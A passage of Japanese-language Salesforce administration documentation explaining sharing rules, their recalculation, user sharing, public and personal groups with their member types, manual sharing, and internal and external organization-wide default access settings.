れた場合、ユーザは最も権限の大きいアクセスレベルを獲得します。

• 共有ルールでは、関連レコードへの追加アクセス権を自動的に付与しま
す。たとえば、商談共有ルールでは、ロールまたはグループメンバーに
共有商談に関連付けられた取引先へのアクセス権がなければ付与します。
同様に、取引先責任者共有ルールとケース共有ルールでは、ロールまた
はグループメンバーに関連付けられた取引先へのアクセス権も付与しま
す。

• オブジェクトが標準オブジェクトであるか、[階層を使用したアクセス許可]オプションが選択されてい
る場合、共有ルールでは、ロール階層内のユーザに階層内の下位ユーザと同じアクセス権が自動的に付
与されます。

• ロールが割り当てられているライセンスを持つユーザのみを共有ルールに含めることができ、アクセス
権の付与と自分が所有するレコードの共有の両方が可能になります。このため、大規模コミュニティま
たはサイトユーザ、Chatter External ユーザ、Chatter Free ユーザは、所有者に基づく共有ルールや条件に基
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づく共有ルールに含めることはできません。大規模ユーザが所有するレコードは、ゲストユーザの共有
ルールで共有できます。

• また、組織やアプリケーションのメンテナンスのために作成されたユーザ (自動化プロセスユーザやラ
イセンスマネージャユーザなど) も、共有ルールに含めることはできません。

• 条件に基づく共有ルールでは、暗号化された項目は使用できません。
可用性

• 取引先、キャンペーン、ケース、取引先責任者、リード、商談、およびカスタムオブジェクト共有ルー
ルを使用可能なエディション: Enterprise Edition、Performance Edition、Unlimited Edition、および Developer

Edition。
• 取引先、納入商品、キャンペーン、および取引先責任者共有ルールのみを使用可能なエディション:

Professional Edition。
• Database.com Edition で利用できるのはカスタムオブジェクト共有ルールのみです。
• オブジェクトによっては、条件に基づく共有ルールを使用できない場合があります。
• 組織に、共有ルールに使用できる他のオブジェクトがある可能性もあります。使用可能な共有ルールに

ついては、[共有設定] 設定ページを参照してください。
更新

• 既存のルールと同じ共有元および共有先グループを使用して所有者に基づく共有ルールを作成すると、
既存のルールが上書きされます。

• 共有ルールを保存した後、共有ルールを編集する場合に [共有先] 項目は変更できません。
• 共有ルールは、ソースデータセットの定義に適合する新規および既存のレコードすべてに適用されま

す。
• 共有ルールは、有効ユーザと無効ユーザの両方に適用されます。
• 共有ルールのアクセスレベルを変更すると、既存のレコードはすべて、新しいアクセスレベルを反映し

て自動的に更新されます。
• 共有ルールを削除すると、そのルールで作成された共有アクセス権は自動的に削除されます。
• グループ、ロール、またはテリトリー内のユーザを変更すると、共有ルールが再評価され、必要に応じ

てアクセス権が追加または削除されます。
• ユーザ間でレコードを転送すると、共有ルールが再評価され、転送されたレコードへのアクセス権が必

要に応じて追加または削除されます。
• 共有ルールを変更すると、一度に大量のレコードの変更が必要になる場合があります。この変更を効率

的に処理するために要求がキューに入れられた場合は、プロセスが完了したときにメール通知を受信し
ます。

• リードを取引先、取引先責任者、商談レコードに変換した後、リード共有ルールでは、リード情報への
アクセス権は自動的に付与されません。

サイトユーザとポータルユーザ
• ほとんどの種類のサイトユーザまたはポータルユーザと Salesforce ユーザの間でレコードを共有するルー

ルを作成できます。同様に、ライセンスの種類でロールがサポートされていれば、異なる取引先のサイ
トユーザまたはポータルユーザの間の共有ルールを作成できます。ただし、大規模コミュニティまたは
サイトユーザにはロールがなく、公開グループに入れることができないため、所有者に基づく共有ルー
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ルや条件に基づく共有ルールに含めることはできません。大規模ユーザが所有するレコードは、ゲスト
ユーザの共有ルールで共有できます。

• デジタルエクスペリエンスを有効にすると、既存の共有ルールでは、自動的にアクセス権が外部ユーザ
に拡張されます。この変更は、ロールと下位ロールへのアクセス権を付与する共有ルールが、ロール、
内部ロールおよびポータル下位ロールへのアクセス権を付与するように変換されるためです。外部ユー
ザが機密データを含むレコードまたはフォルダにアクセスできないように共有ルールを更新してくださ
い。

• [設定] の [デジタルエクスペリエンスの設定] ページの [外部ユーザアクセス権の変換] ウィザードを使用
して、ロール、内部ロールおよびポータル下位ロールを含む共有ルールをロールおよび内部下位ロール
を含むように簡単に変換できます。さらに、このウィザードを使用して、公開されているレポート、
ダッシュボード、およびドキュメントフォルダを、外部ユーザ以外のすべてのユーザがアクセスできる
ように変換できます。詳細は、「外部ユーザアクセス権の変換ウィザードに関する考慮事項」を参照し
てください。

• ゲストユーザ共有ルールは、認証されていないゲストユーザとレコードを共有するためにのみ使用でき
ます。

• Experience Cloud サイトでの共有ルールの使用に関する詳細は、「Who Sees What in Communities: Sharing Rules

(コミュニティでは誰が何を参照しているのか: 共有ルール)」を参照してください。
管理パッケージの項目

条件に基づく共有ルールで、ライセンスが期限切れになったライセンス付き管理パッケージの項目を参照
すると、項目の表示ラベルに (expired)が追加されます。項目の表示ラベルは、[設定] のルール定義ペー
ジの [項目] ドロップダウンリストに表示されます。期限切れの項目を参照する条件に基づく共有ルールは
再適用されず、そのルールに基づいて新しいレコードが共有されることはありません。ただし、パッケー
ジが期限切れになる前の既存のレコードの共有は保持されます。
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共有ルールの再適用

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

可用性についての詳細
は、「共有ルールの考慮
事項」を参照してくださ
い。

ユーザ権限

共有ルールを再適用する
• 「共有の管理」

グループ、ロール、およびテリトリーに変更を加えると、共有ルールの再評価
が実行され、必要に応じてアクセス権が追加または削除されます。
変更には、グループ、ロール、またはテリトリーに対するユーザの追加または
削除、特定のロールの上位ロールの変更、特定のテリトリーの上位テリトリー
の変更、または別のグループに対するグループの追加または削除などがありま
す。

メモ: [共有ルール] 関連リストの [再適用] ボタンは、共有ルールの更新が失
敗したり、予定どおりに動作しない場合に限り使用します。

オブジェクトの共有ルールを手動で再適用する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を

選択します。
2. 対象のオブジェクトの [共有ルール] 関連リストで、[再適用] をクリックしま

す。
3. 再適用の進行状況を監視するには、[設定] から、[クイック検索] ボックスに

「バックグラウンドジョブ」と入力し、[バックグラウンドジョブ]を選択しま
す。

メモ: グループメンバーまたは共有ルールの適用が延期されると、[再適用]

ボタンが無効になります。
共有を再適用するときには、すべての Apex 共有の再適用も実行されます。共有
ルールの再適用時に、関連オブジェクトの共有ルールも再適用されます。たと
えば、商談オブジェクトは取引先オブジェクトの従になるため、商談の共有ルー
ルを再適用すると、取引先共有ルールが再適用されます。影響を受けるすべてのオブジェクトへの再適用が完
了すると、メールで通知されます。
共有ルールの自動適用はデフォルトで有効になっています。共有ルールの適用は、任意にサスペンドおよび再
開して延期できます。
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共有ルールの非同期並列再適用

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

可用性についての詳細
は、「共有ルールの考慮
事項」を参照してくださ
い。

共有ルールの再適用を非同期かつ並列に実行して高速化します。
共有ルールを作成、更新、削除すると、結果の再適用はバックグラウンドで非
同期に並列処理されるため、プロセスが迅速化し、サイトの操作 (パッチやサー
バの再起動など) に対する回復力が向上します。完了時にメール通知を受信しま
す。再適用が完了するまで、共有ルールの作成や組織の共有設定の更新など、
他の共有操作を行うことはできません。
並列処理による共有ルールの再適用は、[共有設定] ページまたは [共有の適用を
延期] ページで [再適用] ボタンをクリックした場合にも実行されます。
[バックグラウンドジョブ] ページで並列再適用の進行状況を監視できます。また
は、[設定変更履歴の参照] ページでは、最近の共有操作を確認できます。

メモ: 所有者ベースの共有ルールの挿入または更新による影響を受けるレ
コードの数が 25,000 未満の場合、再適用は同時に実行され、完了したとき
にメール通知は送信されません。影響を受けるレコードの数が 25,000 未満
の所有者ベースの共有ルールの挿入または更新は、[バックグラウンドジョ
ブ] ページでは使用できません。

共有ルールの再適用では、取引先と子レコード間の暗黙的な共有が維持されま
す。[バックグラウンドジョブ] ページでは、これらのプロセスは [取引先 — 余分
な親アクセス権の削除]や [取引先 — 親アクセス権の許可]などのジョブのサブ種別に対応します。また、共有
ルールの削除は、無関係な共有行が削除されることを示すジョブのサブ種別 [オブジェクト — アクセス権のク
リーンアップ] に対応します。

ユーザ共有
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ共有では、内部ユーザまたは外部ユーザを組織内の別のユーザから表示
または非表示にできます。
ユーザ共有により、次の操作を実行できます。
• すべてのユーザを参照したり、すべてのユーザとやりとりしたりする必要の

あるユーザに「すべてのユーザの参照」権限を割り当てる。「ユーザの管
理」権限を持っているユーザは、この権限が自動的に有効になります。

• ユーザレコードの組織の共有設定を [非公開] または [公開/参照のみ] に設定す
る。

• グループメンバーシップまたはその他の条件に基づいてユーザ共有ルールを
作成する。

• ユーザレコードの共有の直接設定を作成して、個々のユーザまたはグループ
にアクセスできるようにする。

• 外部ユーザの表示を制御する。
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このセクションの内容:

ユーザ共有について
ユーザ共有を実装する前に、次の考慮事項を確認してください。
ユーザレコードの組織の共有設定
ユーザオブジェクトへのアクセスを開設する前に、そのオブジェクトに組織の共有設定を実行します。

ユーザ共有について

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

共有の直接設定を使用可
能なインターフェース:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ共有を実装する前に、次の考慮事項を確認してください。
ユーザレコードへのアクセス権を他のユーザに許可すると、ユーザの詳細ペー
ジが他のユーザに表示されます。また、ルックアップ、リストビュー、検索な
どでもユーザが表示されるようになります。
「すべてのユーザの参照」権限

この権限は、共有の設定に関係なく、すべてのユーザへの参照アクセス権が
必要なユーザに付与できます。すでに「ユーザの管理」権限がある場合は、
「すべてのユーザの参照」権限が自動的に付与されています。

ユーザレコードの組織の共有設定
この設定のデフォルトは、外部ユーザに対しては [非公開] で、内部ユーザに
対しては [公開/参照のみ] です。デフォルトのアクセス権が [非公開] に設定さ
れている場合、ユーザは各自のユーザレコードのみ表示および編集できま
す。ロール階層で部下を持つユーザは、その部下のユーザレコードへの参照
アクセス権限を保持します。

ユーザ共有ルール
全般的な共有ルールに関する考慮事項がユーザ共有ルールにも適用されま
す。ユーザ共有ルールは、公開グループ、ロール、またはテリトリーへのメ
ンバーシップに基づいています。各共有ルールでは、共有元グループのメンバーが共有先グループのメン
バーと共有されます。共有ルールを作成する前に、適切な公開グループ、ロール、またはテリトリーを作
成する必要があります。ユーザはロール階層内で自分より下位のユーザと同じアクセス権を継承します。

ユーザレコードの共有の直接設定
共有の直接設定では、個々のユーザの参照または編集アクセス権を付与できますが、付与するアクセス権
が対象ユーザのデフォルトのアクセス権よりも高い場合に限られます。ユーザはロール階層内で自分より
下位のユーザと同じアクセス権を継承します。Apex 管理共有はサポートされていません。

外部ユーザのユーザ共有
「外部ユーザの管理」権限を持つユーザには、ユーザレコードの共有ルールや組織の共有設定に関係なく、
パートナーリレーションの管理、カスタマーサービス、およびカスタマーセルフサービスポータルユーザ
の外部ユーザレコードへのアクセス権があります。「外部ユーザの管理」権限では、ゲストまたは Chatter

External ユーザへのアクセス権は付与されません。
大規模の Experience Cloud サイトユーザおよび Chatter ユーザ

共有ルールに含めることができるのは、ロールが割り当てられたユーザのみです。このため、大規模ユー
ザ、Chatter External ユーザ、Chatter Free ユーザのユーザレコードは共有ルールに含めることができず、これら
のユーザには共有ルールでユーザレコードへのアクセス権を付与することはできません。
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自動化プロセスユーザとライセンスマネージャユーザ
組織やアプリケーションのメンテナンスのために作成されたユーザ (自動化プロセスユーザやライセンスマ
ネージャユーザなど) は、ユーザ共有ルールなど、いかなる共有ルールにも含めることはできません。

ユーザ共有の互換性
ユーザオブジェクトの組織の共有設定が [非公開] に設定されている場合、ユーザ共有はこれらの機能を完
全にはサポートしません。
• 外部ユーザは、Chatter Messenger を使用できません。これは、ユーザオブジェクトの組織の共有設定が

[公開/参照のみ] に設定されている場合にのみ、内部ユーザが使用できます。
• Salesforce CRM Content — ライブラリを作成できるユーザは、ライブラリメンバーを追加するときに、自分

がアクセス権を持っていないユーザを表示できます。
• 標準レポートタイプ — ユーザオブジェクトの組織の共有設定が [非公開] になっている場合に [標準レ

ポート表示] チェックボックスをオンにすると、レポートを表示しているユーザには、レポートにリス
トされているユーザの名前が表示されます。ユーザ名やメールアドレスなどの詳細を表示するには、閲
覧者にユーザへのアクセス権が必要です。標準レポートタイプ、カスタムレポートタイプ、[公開] およ
び [非公開] の組織の共有設定によるユーザ共有についての詳細は、「標準レポート表示の制御」を参照
してください。

Chatter でのユーザ共有
Chatter では、共有されていないユーザでも互いに表示してやりとりできるという例外があります。たとえ
ば、公開 Chatter グループではユーザ共有に関係なく、グループへのアクセス権のある全員がすべての投稿
を表示できます。また、投稿したユーザの名前を表示したり、投稿にコメントしたユーザにメンションし
たりすることもできます。
たとえば、Mary と Bob が互いに表示されずやりとりできないようにユーザ共有を設定したとします。Mary

は、Chatter 公開グループで投稿します。ユーザ共有により、メンションドロップダウンリストに Bob の名
前は表示されないため、Mary が Bob にメンションすることはできません。ただし、Bob は Mary の投稿を表
示できるため、Mary の投稿にコメントします。これで、Mary の投稿に対する次のコメントで、Mary は Bob

にメンションできるようになります。
さらに、共有されていないユーザもメンションドロップダウンリストにお互いを表示できるという例外が
あります。たとえば、Sue が Chatter で Edgar とやりとりしたことがあるとします (投稿に対していいね! と言
う、コメントする、メンションするなど)。その後、Sue に Edgar が表示されないようにユーザ共有を設定し
ます。Sue が公開 Chatter グループに投稿します。以前のやりとりにより、メンションドロップダウンリスト
に Edgar の名前が表示されるため、Sue は Edgar にメンションできます。ただし、ユーザ共有によって Edgar

が表示されない設定になっているため、Sue が Edgar のメンションをクリックするとエラーが表示されます。
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ユーザレコードの組織の共有設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

ユーザオブジェクトへのアクセスを開設する前に、そのオブジェクトに組織の
共有設定を実行します。
ユーザレコードに対して、組織の共有設定を [非公開] または [公開/参照のみ] に
設定できます。レコードを表示してはいけないユーザが 1 人でもいる場合は、
このデフォルトを [非公開] に設定する必要があります。
組織に、内部ユーザ (従業員と営業エージェント) と、さまざまな営業エージェ
ントや取引先の下に外部ユーザ (サイト/ポータルユーザ) がいて、次の要件があ
るとします。
• 従業員は全員を表示できる。
• 営業エージェントは従業員、他のエージェント、および自分の顧客のユーザ

レコードのみを表示できる。
• 外部顧客は、同じエージェントまたは取引先の下にいる他の顧客のみを表示

できる。
これらの要件を満たすために、デフォルトの外部アクセス権を [非公開] に設定
し、共有ルール、共有の直接設定、ユーザ権限を使用してアクセス権を拡張し
ます。
この機能が最初に有効化されるとき、外部ユーザのデフォルトのアクセス設定
は [非公開] になっています。内部ユーザのデフォルトは、[公開/参照のみ] です。
ユーザオブジェクトへの外部アクセス権の組織の共有設定を変更する手順は、
次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。
2. [Organization-Wide Defaults (組織の共有設定)] 領域で [Edit (編集)] をクリックします。
3. ユーザレコードに使用するデフォルトの内部および外部のアクセス権を選択します。

デフォルトの外部アクセス権の制限は、デフォルトの内部アクセス権以上にする必要があります。
4. [保存] をクリックします。

ユーザは、ロール階層が下位のユーザレコードへの参照アクセス権と、自身のユーザレコードへの完全ア
クセス権を保持します。
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グループとは?

エディション

使用可能なインター
フェース: Salesforce Classic
(一部の組織で使用可能) お
よび Lightning Experience
の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

グループは一連のユーザで構成されます。グループには、個々のユーザ、その
他のグループ、または特定のロールやテリトリーのユーザを含めることができ
ます。あるいは、特定のロールやテリトリーのユーザと、階層でそのロールや
テリトリーよりも下位のすべてのユーザを含めることができます。
次の 2 種類のグループがあります。
公開グループ

管理者と代理管理者が公開グループを作成できます。組織内の全員が公開グ
ループを使用できます。たとえば、システム管理者は従業員相乗り通勤プロ
グラムのグループを作成できます。その後、すべての従業員がこのグループ
を使用して、プログラムに関するレコードを共有できます。

非公開グループ
各ユーザが個人で使用するグループを作成できます。たとえば、指定した
ワークグループ内で特定のレコードを常に共有できるようにしておく必要が
生じる場合があります。

ヒント: 権限セットグループは、ユーザではなく権限セットで構成されま
す。権限セットグループは、職務やタスクに基づいて権限セットをまとめ
ます。権限セットグループとその使用理由についての詳細は、「Permission

Set Groups (権限セットグループ)」を参照してください。
グループは、次のような方法で使用できます。
• 共有ルールに基づいたデフォルトの共有アクセスを設定する
• 他のユーザとレコードを共有する
• 他のユーザが所有する取引先責任者の同期を指定する
• Salesforce CRM Content ライブラリに複数のユーザを追加する
• Salesforce ナレッジの特定のアクションにユーザを割り当てる

このセクションの内容:

グループの作成と編集
公開グループを作成および編集できるのは管理者と代理管理者のみですが、誰でも自分の非公開グループ
を作成および編集できます。
グループメンバー種別
各種の内部および外部ユーザがさまざまなグループ種別を使用できます。
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グループの作成と編集

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開グループを作成また
は編集する
• 「ユーザの管理」

別のユーザの非公開グ
ループを作成または編集
する
• 「ユーザの管理」

公開グループを作成および編集できるのは管理者と代理管理者のみですが、誰
でも自分の非公開グループを作成および編集できます。
グループを作成または編集する手順は、次のとおりです。
1. グループの種類に一致するコントロールをクリックします。

• 非公開グループの場合、[個人設定] に移動して、[私の個人情報]または[個
人用] のいずれか表示された方をクリックします。その後、[私のグルー
プ] をクリックします。ユーザ詳細ページでは [非公開グループ] 関連リス
トも使用できます。

• 公開グループの場合は、[設定] から [クイック検索] ボックスに「公開グルー
プ」と入力し、[公開グループ] を選択します。

2. [新規] をクリックするか、編集するグループの横にある [編集] をクリックし
ます。

3. 次の項目を入力します。

説明項目

ユーザインターフェースページで、グルー
プを参照するために使用する名前です。

表示ラベル

この一意の名前は API および管理パッケージ
で使用されます。

[グループ名]  (公開グループの
み)

[階層を使用したアクセス許可] を選択し、
ロール階層を使用してレコードに自動アク

[階層を使用したアクセス許可]

(公開グループのみ)
セスできるようにします。選択すると、こ
のグループのユーザと共有するすべてのレ
コードは、階層内の上層のユーザとも共有
されます。
[すべての内部ユーザ] をメンバーとして公開
グループを作成する場合は、[階層を使用し
たアクセス許可]を選択解除します。これに
より、レコードをグループと共有する場合
のパフォーマンスが改善されます。

メモ: [階層を使用したアクセス許可]

がオフになっている場合、ロール階層
で上位のユーザが自動アクセスを許可
されることはありません。ただし、
「すべて表示」や「すべて変更」オブ
ジェクト権限、「すべてのデータの参
照」や「すべてのデータの編集」シス
テム権限などを持っているユーザは、
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自分が所有していないレコードにもアクセスできます。

[検索] ドロップダウンリストから、追加するメンバーの種別を
選択します。追加するメンバーが見つからない場合は、検索
ボックスにキーワードを入力し、[検索] をクリックします。

検索

メモ: 取引先所有者は、大規模 Experience Cloud サイトユー
ザが所有する子レコードを参照するには、そのサイト
ユーザのデータへのアクセス権を持つ共有グループのメ
ンバーでなければなりません。

[選択可能なユーザ] ボックスからメンバーを選択し、[追加]を
クリックすると、そのメンバーがグループに追加されます。

選択済みのユーザ

このリストで、そのメンバーがこの公開グループのメンバー
を追加または削除できる代理管理グループを指定します。[選

選択済みの代理グループ

択可能な代理グループ] ボックスからグループを選択して、[追
加]をクリックします。このリストは公開グループでのみ表示
されます。

4. [保存] をクリックします。

メモ: グループ、ロール、およびテリトリーを編集すると、共有ルールが再評価され、必要に応じてアク
セス権が追加または削除されます。
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グループメンバー種別

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用できるメンバーの種
別はエディションによっ
て異なります。

ユーザ権限

公開グループを作成また
は編集する
• 「ユーザの管理」

別のユーザの非公開グ
ループを作成または編集
する
• 「ユーザの管理」

各種の内部および外部ユーザがさまざまなグループ種別を使用できます。
グループを作成または編集するときに、[検索]ドロップダウンリストから次の
メンバー種別を選択できます。組織の設定によっては使用できない種別もあり
ます。

説明メンバー種別

すべてのカスタマーポータルユーザ。
これは、組織でカスタマーサイトまた
はカスタマーポータルが有効になって
いる場合にのみ使用できます。

カスタマーポータルユーザ

すべてのパートナーユーザ。これは、
組織でパートナーサイトまたはパート
ナーポータルが有効になっている場合
にのみ使用できます。

パートナーユーザ

すべての独自グループ。これは、非公
開グループを作成した場合のみ使用で
きます。

非公開グループ

組織のサイトまたはポータル向けに定
義されたすべてのロール。これには、
指定されたロール内のすべてのユーザ
が含まれますが、大規模ユーザは除外
されます。

ポータルロール

メモ: サイトロールまたはポータ
ルロールの名前にはそのロール
が関連付けられている取引先の
名前が含まれますが、個人取引
先は例外でユーザの [別名]が含
まれます。

組織のサイトまたはポータル向けに定
義されたすべてのロール。これには、

ポータルロール & 下位ロール

指定されたロールのすべてのユーザ
と、そのサイトロール階層またはポー
タルロール階層で下位のロールのすべ
てのユーザが含まれますが、大規模
ユーザは除外されます。

メモ: サイトロールまたはポータ
ルロールの名前にはそのロール
が関連付けられている取引先の
名前が含まれますが、個人取引
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説明メンバー種別

先は例外でユーザの [別名]が含まれます。

管理者に定義されたすべての公開グループ。公開グループ

組織向けに定義されたすべてのロール。グループへの
ロールの追加には、そのロール内のすべてのユーザが

ロール

含まれますが、サイトロールとポータルロールは含ま
れません。

ロールと下位ロールの追加には、ロール内のすべての
ユーザと、このロールの下位のロール内のすべての

ロール & 内部下位ロール

ユーザが含まれます。サイトまたはポータルのロール
またはユーザは含まれません。

ロールと下位ロールの追加には、ロール内のすべての
ユーザと、このロールの下位のロール内のすべての

ロール & 下位ロール

ユーザが含まれます。これは、組織で Salesforce

Experience サイトまたはポータルが有効になっていな
い場合にのみ使用できます。

警告: デジタルエクスペリエンスを有効にする
と、グループ内のすべての [ロール & 下位ロール]

メンバーが [ロール、内部 & ポータル下位ロール]

メンバーに変換されます。[ロール、内部 & ポー
タル下位ロール] メンバーを含む公開グループを
確認し、必要に応じて、[ロール & 下位ロール]

に置き換えます。

ロールと下位ロールの追加には、ロール内のすべての
ユーザと、このロールの下位のロール内のすべての

ロール、内部 & ポータル下位ロール

ユーザが含まれます。これは、組織で Salesforce エクス
ペリエンスまたはポータルが有効になっている場合に
のみ使用できます。これにはサイトユーザとポータル
ユーザが含まれます。

組織内でのすべてのユーザ。これにはサイトユーザと
ポータルユーザは含まれません。

ユーザ

メモ: 認証されていないゲストユーザを公開グループに追加することはできません。
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共有の直接設定
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有の直接設定を使用して、取引先、取引先責任者、リードなどの特定の種類
のレコードへのアクセスを他の特定のユーザに許可できます。
場合によっては、1 つのレコードに対するアクセスの許可にはすべての関連レ
コードへのアクセスが含まれます。たとえば、ある取引先へのアクセスを別の
ユーザに許可すると、そのユーザは自動的にその取引先に関連付けられている
すべての商談とケースにアクセスできるようになります。
レコードへのアクセスを許可する場合、ユーザは次のいずれかである必要があ
ります。
• レコードの所有者
• 階層で所有者より上のロールのユーザ (組織の共有設定が階層によってアク

セスを制御する場合)

• レコードに対するフルアクセスを許可されたユーザ
• システム管理者
ユーザがレコードの所有権を移行する場合、元のレコード所有者が作成した共有の直接設定は Salesforce によっ
て削除されるため、ユーザがアクセスできなくなることがあります。取引先所有権が移行されると、商談や
ケースなどの子レコードに元の取引先所有者が作成した共有の直接設定も削除されます。

組織の共有設定
エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition。

組織の共有設定を使用して、オブジェクトのレコードに対するデフォルトのア
クセス権を定義できます。組織の共有設定は、カスタムオブジェクトや多くの
標準オブジェクトに対して個別に設定できます。また、内部ユーザと外部ユー
ザに異なるアクセスレベルを設定できます。
組織の共有設定では、ほとんどのオブジェクトに対して [非公開]、[公開/参照の
み]、または [公開/参照・更新可能] のいずれかを設定できます。オブジェクトの
組織の共有設定が [非公開] または [公開/参照のみ] に設定されている環境の場合、
システム管理者は、ロール階層を設定するか共有ルールを定義することで、ユー
ザにレコードに対する追加のアクセス権を許可できます。ただし、共有ルール
を使用できるのは、追加のアクセス権を付与する場合のみです。最初に組織の
共有設定で指定されたレベルを超えるレコードへのアクセス権を制限するため
に使用することはできません。

このセクションの内容:

内部組織の共有設定の設定
内部組織の共有設定では、レコードへの内部ユーザのベースラインアクセス権を設定します。オブジェク
トごとに別個のデフォルトを設定できます。
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外部組織の共有設定の概要
外部組織の共有設定には、内部ユーザおよび外部ユーザに対して個別の組織の共有設定があります。共有
ルールの設定が簡単になり、再適用のパフォーマンスが向上します。また、外部ユーザと共有される情報
を簡単に確認できます。

内部組織の共有設定の設定

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの共有アクセ
ス権を設定する
• 「共有の管理」

内部組織の共有設定では、レコードへの内部ユーザのベースラインアクセス権
を設定します。オブジェクトごとに別個のデフォルトを設定できます。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [Organization-Wide Defaults (組織の共有設定)] 領域で [Edit (編集)] をクリックしま

す。
3. オブジェクトごとに、使用するデフォルトの内部アクセス権を選択します。

デフォルトの外部アクセス権の設定についての詳細は、「外部組織の共有設
定の概要」を参照してください。

4. カスタムオブジェクトへの、階層を使用した自動アクセスを無効にするに
は、[階層を使用したアクセス許可]を選択解除します。「親レコードに連動」
のデフォルトアクセス権がないカスタムオブジェクトに対してのみ、この設
定を選択解除できます。詳細は、Salesforce ヘルプの「階層を使用したアクセ
ス権の制御」を参照してください。

組織の共有設定を更新するときに、共有再適用によってレコードへのアクセス
権の変更が適用されます。データが大量にあると、更新の所要時間が長くなり
ます。
「公開/参照のみ」から「公開/参照・更新可能」へなど、デフォルトのアクセス
権を拡大する場合は、変更がすぐに有効になります。すべてのユーザは、更新
されたデフォルトのアクセス権に基づいてアクセスできます。その後、共有再適用が非同期に実行され、共有
の直接設定または共有ルールからのすべての冗長なアクセス権が削除されます。取引先責任者のデフォルトの
アクセス権が「親レコードに連動」であり、取引先、商談、またはケースのデフォルトのアクセス権を拡大す
る場合は、再適用の実行後に変更が有効になります。「公開/参照・更新可能」から「公開/参照のみ」へな
ど、デフォルトのアクセス権を縮小する場合は、再適用の実行後に変更が有効になります。
再適用が完了すると、メールで通知されます。変更を表示するには、[共有設定] ページを更新します。更新状
況を表示するには、[設定] から、[クイック検索] ボックスに「設定変更履歴の参照」と入力し、[設定変更履歴
の参照] を選択します。

メモ: 一部のオブジェクトでは、組織の共有設定を変更できません。
• サービス契約は、常に非公開です。
• ユーザプロビジョニング要求は、常に非公開です。
• ドキュメント、レポート、またはダッシュボードを参照または編集できるかどうかは、そのドキュメ

ントが保存されているフォルダに対するユーザのアクセス権に基づきます。
• 売上予測共有が有効でない場合、売上予測階層で自分より下位のユーザおよびテリトリーの売上予測

のみを参照できます。
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• カスタムオブジェクトが、標準オブジェクトとの主従関係の従側にある場合は、組織の共有設定は [親
レコードに連動] に設定されており、これを編集することはできません。

• Apex コードがカスタムオブジェクトに関連付けられている共有エントリを使用している場合は、その
カスタムオブジェクトに対する組織の共有設定を非公開から公開には変更できません。たとえば、Apex

コードで (コードでは Invoice__share として表される) カスタムオブジェクト Invoice__c に対する共
有アクセス権を持つユーザとグループを取得した場合、そのオブジェクトの組織の共有設定を非公開
から公開に変更することはできません。

また、取引先のデフォルトアクセス権を [非公開] に設定している場合、商談とケースのデフォルトアクセ
ス権も [非公開] に設定する必要があります。取引先責任者のデフォルトアクセス権は [非公開] または [親
レコードに連動] に設定する必要があります。

外部組織の共有設定の概要

エディション

使用可能なインター
フェース: Salesforce Classic
(使用できない組織もあり
ます) および Lightning
Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

外部組織の共有設定には、内部ユーザおよび外部ユーザに対して個別の組織の
共有設定があります。共有ルールの設定が簡単になり、再適用のパフォーマン
スが向上します。また、外部ユーザと共有される情報を簡単に確認できます。
たとえば、外部ユーザのアクセス権をより厳しく設定するには、デフォルトの
内部アクセスを [公開/参照のみ] または [公開/参照・更新可能] に設定し、デフォ
ルトの外部アクセス権を [非公開] に設定します。これらの設定により、レポー
ト、リストビュー、検索、API クエリのパフォーマンスも向上します。

メモ: オブジェクトの外部アクセスレベルは、内部アクセスレベルより権
限を高くすることはできません。

次のオブジェクトの外部組織の共有設定を設定できます。組織に、外部組織の
共有設定を変更できる他のオブジェクトがある可能性があります。
• Account

• Asset

• Case

• Campaign

• Contact

• Individual

• Lead

• Opportunity

• Order

• User

• カスタムオブジェクト
外部組織のデフォルトは一部のオブジェクトでは使用できませんが、共有ルールを使用して同じ動作を実現で
きます。デフォルトのアクセス権を [非公開] に設定し、すべての内部ユーザとレコードを共有する共有ルール
を作成します。
外部ユーザには次のユーザが含まれます。
• 認証 Web サイトユーザ
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• Chatter 外部ユーザ
• サイトユーザ
